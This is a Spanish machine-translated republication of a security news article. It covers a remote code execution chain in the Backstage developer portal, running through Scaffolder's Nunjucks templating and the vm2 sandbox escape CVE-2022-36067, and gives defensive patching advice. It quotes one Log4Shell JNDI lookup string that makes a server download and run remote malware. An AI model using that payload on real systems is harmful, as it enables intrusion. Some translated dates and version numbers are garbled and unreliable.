Logotipo de Zephyrnet

Agujero de ejecución de código similar a Log4Shell en la popular herramienta de desarrollo Backstage

Fecha:

Los investigadores de la empresa de seguridad de codificación en la nube Oxeye han escrito un error crítico que descubrieron recientemente en el popular kit de herramientas de desarrollo en la nube Backstage.

Sus reporte incluye una explicación de cómo funciona el error, además de un código de prueba de concepto (PoC) que muestra cómo explotarlo.

Backstage es lo que se conoce como un portal para desarrolladores en la nube: una especie de back-end de lógica comercial que facilita la creación de API basadas en web (interfaces de programación de aplicaciones) para permitir que los codificadores dentro y fuera de su empresa interactúen con sus servicios en línea.

En palabras del propio proyecto, creado originalmente en Spotify pero ahora de código abierto en GutHub:

Backstage es una plataforma abierta para crear portales para desarrolladores. Con la tecnología de un catálogo de software centralizado, Backstage restaura el orden de sus microservicios e infraestructura y permite que sus equipos de productos envíen código de alta calidad rápidamente, sin comprometer la autonomía.

Backstage unifica todas las herramientas, los servicios y la documentación de su infraestructura para crear un entorno de desarrollo optimizado de principio a fin.

No, tampoco sabemos realmente lo que eso significa, pero sabemos que el conjunto de herramientas está escrito en JavaScript, se ejecuta utilizando el sistema JavaScript del lado del servidor. node.js, y se basa en una red de dependencias de la cadena de suministro del ecosistema NPM.

NPM es la abreviatura de Administrador de paquetes de nodos, un conjunto de herramientas automatizado para garantizar que su código JavaScript de back-end pueda hacer uso fácilmente de una amplia gama de bibliotecas de código abierto que brindan herramientas de ayuda preescritas populares para todo, desde criptografía y administración de bases de datos hasta registro y control de versiones.

Ejecución remota de código

Desafortunadamente, el error revelado hoy, si no se corrige, podría brindarles a personas externas no autenticadas (en términos generales, cualquiera que pueda hacer conexiones API a sus servidores) una forma de activar la ejecución remota de código (RCE) dentro de los servidores de lógica empresarial en su red.

Sin embargo, afortunadamente, si hemos interpretado correctamente el informe de Oxeye, el ataque que describen para su Backstage RCE depende de una secuencia de fallas de codificación que, en última instancia, dependen de un error específico, denominado CVE-2022-36067 en un componente de la cadena de suministro en el que se basa Backstage llamado vm2.

En caso de que se lo esté preguntando, vm2 es un módulo NPM de propósito general que implementa un "sandbox de máquina virtual" que tiene como objetivo hacer que JavaScript potencialmente riesgoso sea un poco más seguro para ejecutarse en sus servidores.

Ese error CVE-2022-36067 en vm2 fue reportaron en agosto de 2022 por el propio Oxeye (quien le dio un nombre amigable para las relaciones públicas de "Sandbreak", porque salió de la caja de arena), y parcheado con prontitud por el equipo de vm2 hace casi tres meses.

Entonces, por lo que podemos ver, si es un usuario de Backstage, querrá asegurarse de haber parcheado todos los componentes en riesgo en su configuración de Backstage...

…pero si parchó el componente vm2 que era vulnerable a Sandbreak hace tantos meses, entonces parece que no es directamente vulnerable al exploit descrito en la última divulgación de Oxeye.

Además, si sus servidores Backstage están configurados como sugieren las buenas pautas de seguridad cibernética, con la autenticación requerida tanto en el borde de la red como dentro de la red, no correrá el riesgo de sondeos aleatorios "solo para fines de investigación" de individuos "útiles" determinados para demostrar que están interesados ​​en la "investigación" de amenazas cibernéticas.

Un ataque de “queso Emmenthal”

En pocas palabras, los problemas de seguridad recientemente revelados son el efecto secundario de una serie de problemas de seguridad, como agujeros en rebanadas de queso Emmenthal que podrían filtrarse en secuencia si un atacante puede alinear al menos un agujero en cada rebanada.

Tal como lo entendemos, Backstage incluye un componente llamado Scaffolder que, como sugiere su nombre, lo ayuda a administrar los diversos complementos (conocidos como complementos) que su comunidad de desarrolladores podría desear o necesitar.

Scaffolder, a su vez, utiliza un sistema de registro de mensajes de Mozilla conocido como Nunjucks, que incluye lo que se conoce como plantillas de cuerdas in node.js círculos, como interpolación de cuerdas en el mundo de Java, y como sustitución de cadenas a los administradores de sistemas que usan shells de comandos como Bash.

Si la interpolación de cadenas te suena familiar, es probablemente porque se encuentra en el corazón de la Log4Shell vulnerabilidad en diciembre de 2021, y de la Follina error a mediados de 2022.

Es donde puede reescribir el contenido de un mensaje de registro basado en "caracteres de codificación" especiales en una plantilla de cadena, de modo que una cadena como $USER podría ser reemplazado con el nombre de la cuenta que está utilizando el servidor, o ${PID} podría recuperar el ID del proceso actual.

En el caso extremo de Log4Shell, el conjuro de aspecto curioso ${jndi:ldap://example.com:8888/malware} podría engañar directamente al servidor para que descargue un programa llamado malware en example.com y ejecutándolo silenciosamente en segundo plano.

En otras palabras, debe estar absolutamente seguro de que los datos que llegan de una fuente que no es de confianza, como un usuario externo, nunca se pasan a ciegas a una plantilla de cadena o a una función de interpolación de cadena que se utilizará. como el propio texto de la plantilla.

Si un usuario remoto, por ejemplo, intenta engañar a su servidor dando su nombre de usuario como ${{RISKY}} (asumiendo que la biblioteca de plantillas usa ${{...}} como su marcador especial), debe asegurarse de que su código de registro registre correctamente ese texto de aspecto travieso literalmente tal como se recibió...

… ¡en lugar de permitir que el texto que se registra tome el control de la función de registro en sí!

En palabras de una vieja canción infantil, debes asegurarte de no terminar cantando: "Hay un agujero en mi ${{BUCKET}}, querida Liza, querida Liza, hay un agujero en mi ${{BUCKET}}, querida Liza. ¡Un agujero!"

Envuelto en una manta de seguridad

Para ser justos, la funcionalidad de interpolación/plantilla quizás demasiado poderosa de Nunjucks está envuelta por Backstage dentro de otro componente de la cadena de suministro, a saber, el mencionado sistema de sandboxing vm2, que se supone que restringe el peligro que un usuario malintencionado podría hacer con piqueros. -Datos de entrada atrapados.

Desafortunadamente, los investigadores de Oxeye pudieron emparejar sus rutas de activación de código de plantillas de cadenas recién descubiertas en Backstage + Scaffolder + Nunjucks con la vulnerabilidad CVE-2022-36067 más antigua en el contenedor de seguridad vm2 para lograr la posible ejecución remota de código en un servidor Backstage. .

¿Qué hacer?

Si eres usuario de Backstage:

  • Asegúrese de tener las últimas versiones de Backstage y sus dependencias, incluyendo plugin-scaffolder-backend componente. Según Oxeye, los errores relevantes en el código Backstage se corrigieron el 01 de septiembre de 2022, por lo que cualquier publicación puntual oficial posterior a esos datos debería incluir las correcciones. Al momento de escribir [2022-11-1T16:00Z], eso incluye Backstage 1.6.0, 1.7.0 y 1.8.0, lanzado el 2022-09-21, 2022-10-18 y 2022-11-15 respectivamente.
  • Verifica que tu instalación de Backstage tenga la autenticación configurada como esperas. Oxeye afirma que la autenticación está desactivada de forma predeterminada y que después de seguir el Directrices tras bambalinas, los servidores backend (que probablemente no deberían estar expuestos externamente de todos modos) aún permitían el acceso no autenticado. Eso puede ser lo que desea, pero le recomendamos que use este problema como una razón para verificar que su configuración coincida con sus intenciones.
  • Compruebe a qué partes de su infraestructura Backstage se puede acceder desde Internet. Una vez más, use este problema como una razón para escanear su propia red desde el exterior si no lo ha hecho recientemente.

Si es usuario de node.js/NPM:

  • Asegúrese de tener la versión más reciente del componente de espacio aislado de vm2. Puede tener esto instalado como una dependencia de otro software que use, incluso si no tiene Backstage. La vulnerabilidad CVE-2022-36067 se corrigió el 2022 de agosto de 08, por lo que desea la versión vm28 3.9.11 o después.

Si eres programador:

  • Esté tan a la defensiva como pueda cuando llame a potentes funciones de registro. Si utiliza un servicio de registro (incluidos Nunjucks o Log4J) que incluye potentes funciones de plantilla/interpolación, desactive las funciones que no necesita para que no puedan ser explotadas por error. Asegúrese de que la entrada no confiable nunca se use como plantilla, evitando así que los atacantes arrojen sus propias cadenas de entrada directamente peligrosas.
  • Independientemente de cualquier otra precaución implementada, desinfecte sus entradas y salidas de registro. Recuerde que otra persona necesitará abrir sus archivos de registro en el futuro. No permita que se escriban trampas explosivas involuntarias en su archivo de registro donde podrían causar problemas más adelante, como fragmentos de HTML con etiquetas de script dejadas. (Alguien podría abrir el archivo en un navegador por error).

Incluso cuando recibe información de una fuente confiable, rara vez hay alguna razón para no someterla a sus propios controles de desinfección antes de usarla.

(Ocasionalmente, puede justificar una excepción, por ejemplo, por motivos de rendimiento, pero debe ser una excepción, no la regla).

En primer lugar, volver a verificar lo ayuda a detectar errores que los codificadores anteriores pueden haber cometido de buena fe; en segundo lugar, ayuda a limitar la propagación de datos incorrectos o engañosos si alguna otra parte de su ecosistema se ve comprometida.

Lo que pasa con esas lonchas de queso Emmenthal que mencionamos anteriormente es que aunque son permeables si al menos un agujero se alinea en cada hoja...

… ¡son impermeables si hay al menos una hoja con agujeros que no se alinean en absoluto!


punto_img

Información más reciente

punto_img